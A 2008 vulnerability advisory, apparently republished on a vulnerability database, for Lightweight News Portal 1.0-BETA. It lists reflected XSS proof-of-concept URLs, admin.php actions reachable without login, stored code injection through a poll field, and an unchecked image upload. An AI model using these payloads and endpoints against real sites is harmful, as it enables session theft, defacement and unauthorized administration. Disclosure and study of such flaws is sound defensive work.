Lightweight News Portal [LNP] 1.0b Multiple Remote Vulnerabilities

🗓️ 21 Jun 2008 00:00:00Reported by RootType

Lightweight News Portal 1.0-BETA Multiple Remote Vulnerabilities. Cross-Site Scripting, Insecure Administration, Permanent Code Injection, File Upload. Exploit found by sToR


                                                &nbsp;&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;___&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;__
&nbsp;/&nbsp;___|&nbsp;___&nbsp;|&nbsp;\&nbsp;|&nbsp;|_&nbsp;&nbsp;&nbsp;_|&nbsp;|&nbsp;\&nbsp;\&nbsp;/&nbsp;/__&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;_&nbsp;__&nbsp;___&nbsp;&nbsp;___|&nbsp;|/&nbsp;_|&nbsp;___&nbsp;&nbsp;_&nbsp;__&nbsp;__&nbsp;_
|&nbsp;|&nbsp;&nbsp;_&nbsp;/&nbsp;_&nbsp;\|&nbsp;&nbsp;\|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|\&nbsp;V&nbsp;/&nbsp;_&nbsp;\|&nbsp;|&nbsp;|&nbsp;|&nbsp;'__/&nbsp;__|/&nbsp;_&nbsp;\&nbsp;|&nbsp;|_&nbsp;/&nbsp;_&nbsp;\|&nbsp;'__/&nbsp;_`&nbsp;|
|&nbsp;|_|&nbsp;|&nbsp;(_)&nbsp;|&nbsp;|\&nbsp;&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;(_)&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|&nbsp;&nbsp;\__&nbsp;\&nbsp;&nbsp;__/&nbsp;|&nbsp;&nbsp;_|&nbsp;(_)&nbsp;|&nbsp;|&nbsp;|&nbsp;(_|&nbsp;|
&nbsp;\____|\___/|_|&nbsp;\_|\__,_|_|_|&nbsp;|_|\___/&nbsp;\__,_|_|&nbsp;&nbsp;|___/\___|_|_|(_)___/|_|&nbsp;&nbsp;\__,&nbsp;|
---------------------------------------------------------------------------|___/
Exploit&nbsp;found&nbsp;by&nbsp;sToRm


LNP:&nbsp;Lightweight&nbsp;news&nbsp;Portal&nbsp;v1.0-BETA
Multiple&nbsp;Remote&nbsp;Vulnerabilities


Cross-Site&nbsp;Scripting
--------------------

show_photo.php?photo=&quot;&gt;&lt;script&gt;javascript:alert(document.domain)&lt;/script&gt;
show_potd.php?potd=&quot;&gt;&lt;script&gt;javascript:alert(document.domain)&lt;/script&gt;


Insecure&nbsp;Administration
-----------------------

The&nbsp;admin&nbsp;page&nbsp;faces&nbsp;us&nbsp;with&nbsp;a&nbsp;login,&nbsp;but&nbsp;many&nbsp;important&nbsp;functions&nbsp;are&nbsp;allowed&nbsp;
to&nbsp;be&nbsp;executed&nbsp;without&nbsp;a&nbsp;logged-in&nbsp;session.

admin.php?A=potd_delete
admin.php?A=potd
admin.php?A=vote_update
admin.php?A=vote
admin.php?A=modifynews


Permanent&nbsp;Code&nbsp;Injection
------------------------

admin.php?A=vote

&quot;Current&nbsp;question&quot;&nbsp;field&nbsp;allows&nbsp;for&nbsp;code&nbsp;injection,&nbsp;allowing&nbsp;us&nbsp;to&nbsp;force&nbsp;
all&nbsp;users&nbsp;browsing&nbsp;the&nbsp;poll&nbsp;to&nbsp;view&nbsp;an&nbsp;XSS&nbsp;or&nbsp;browser&nbsp;exploit.&nbsp;


File&nbsp;Upload
-----------

admin.php?A=potd

The&nbsp;&quot;picture&nbsp;of&nbsp;the&nbsp;day&quot;&nbsp;manager&nbsp;allows&nbsp;for&nbsp;further&nbsp;images&nbsp;to&nbsp;be&nbsp;
uploaded,&nbsp;but&nbsp;does&nbsp;not&nbsp;check&nbsp;for&nbsp;image&nbsp;validity.&nbsp;Although&nbsp;a&nbsp;phpshell&nbsp;
cannot&nbsp;be&nbsp;executed&nbsp;through&nbsp;this&nbsp;method,&nbsp;a&nbsp;source&nbsp;may&nbsp;be&nbsp;uploaded&nbsp;for&nbsp;
inclusion&nbsp;in&nbsp;further&nbsp;attacks,&nbsp;possibly&nbsp;an&nbsp;LFI&nbsp;somewhere&nbsp;on&nbsp;the&nbsp;server.&nbsp;

21 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1